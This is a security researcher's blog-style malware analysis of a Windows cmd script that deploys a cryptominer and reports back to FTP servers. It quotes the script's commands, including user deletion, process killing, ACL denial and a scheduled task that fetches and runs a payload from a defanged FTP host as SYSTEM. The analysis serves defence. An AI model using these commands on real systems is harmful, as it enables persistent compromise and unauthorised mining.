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Malicious Script Leaking Data via FTP

Published: 2019-01-02
Last Updated: 2019-01-03 07:13:16 UTC
by Xavier Mertens (Version: 1)
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The last day of 2018, I found an interesting Windows cmd script which was uploaded from India (SHA256: dff5fe50aae9268ae43b76729e7bb966ff4ab2be1bd940515cbfc0f0ac6b65ef) with a very low VT score[1]. The script is not obfuscated and contains a long list of commands based on standard Windows tools. Here are some examples:

It removes existing users and kills processes:

net1 user mm123$ /del
net1 user admin1$ /del
net1 user sysadm05 /del
taskkill /f /im help.exe /im doc001.exe /im dhelllllper.exe /im DOC001.exe /im dhelper.exe /im conime.exe /im a.exe

It changes access rights on executable files:

attrib -s -h -r C:\Users\Default\AppData\Local\Temp\*.exe
attrib -s -h -r C:\Users\Default\AppData\Roaming\Tempo\*.exe
attrib -s -h -r C:\Users\Default\AppData\Roaming\*.exe
attrib -s -h -r C:\Users\asp\AppData\Local\Temp\*.exe
attrib -s -h -r C:\Users\asp\AppData\Roaming\Tempo\*.exe
attrib -s -h -r C:\Users\asp\AppData\Roaming\*.exe
attrib -s -h -r C:\Users\administrator\AppData\Local\Temp\*.exe
attrib -s -h -r C:\Users\administrator\AppData\Roaming\Tempo\*.exe
attrib -s -h -r C:\Users\administrator\AppData\Roaming\*.exe
cacls C:\Users\asp\AppData\Roaming\Tempo\*.exe /e /d everyone
cacls C:\Users\administrator\AppData\Roaming\Tempo /e /d everyone
cacls C:\Users\asp\AppData\Roaming\Tempo\*.exe /e /d system
cacls C:\Users\Default\AppData\Roaming\Tempo\*.exe /e /d everyone
cacls C:\Users\administrator\AppData\Roaming\Tempo /e /d system
cacls C:\Users\Default\AppData\Roaming\Tempo /e /d system
cacls C:\Users\Default\AppData\Roaming\Tempo /e /d everyone
cacls C:\Users\Default\AppData\Roaming\Tempo\*.exe /e /d system

It creates scheduled tasks for persistence:

schtasks /create /tn "Mysa3" /tr "cmd /c echo open ftp[.]1226bye[.]xyz>ps&echo test>>ps&echo 1433>>ps&echo get s.rar c:\windows\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&c:\windows\help\lsmosee.exe" /ru "system"  /sc onstart /F

Files are downloaded from a FTP server. The downloaded PE files is in the case above a cryptominer (SHA256: 7f78d8a2cf889230fcd0dcd3d12418835c6c2e37ea396c13ae5222eccd978e8a[2]). It downloads more interesting files, again from a FTP server. One of them is a text file containing a list of processes to kill:

conime.exe,C:\Program Files (x86)\Common Files\conime.exe,1
svshpst.exe,C:\Program Files (x86)\Common Files\svshpst.exe,1
svchsot.exe,C:\Program Files\Common Files\System\svchsot.exe,1
csrswz.exe,C:\Program Files\Common Files\csrswz.exe,1

Powershell scripts were also downloaded and executed to perform interesting activities. The most interesting one? The infected systems connect to another FTP server and upload a flat file based on the victim’s IP addresses: ‘<publicip>_<localip>.txt’. Files contain: the Windows version, the CPU usage (percentage) and a list of all running processes. Once a file is uploaded, I tried to access some of them but another process on the malicious FTP server was collecting them in real time. However, it was possible to list them (well most of them). I wrote a quick script to keep an eye on the FTP server and left it running for 2 days. 35984 unique IP addresses were collected! The top 5 of infected countries is:

  • Russia
  • China
  • Taiwan
  • Ukraine
  • India

Who said that cryptominers are not popular?


Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant

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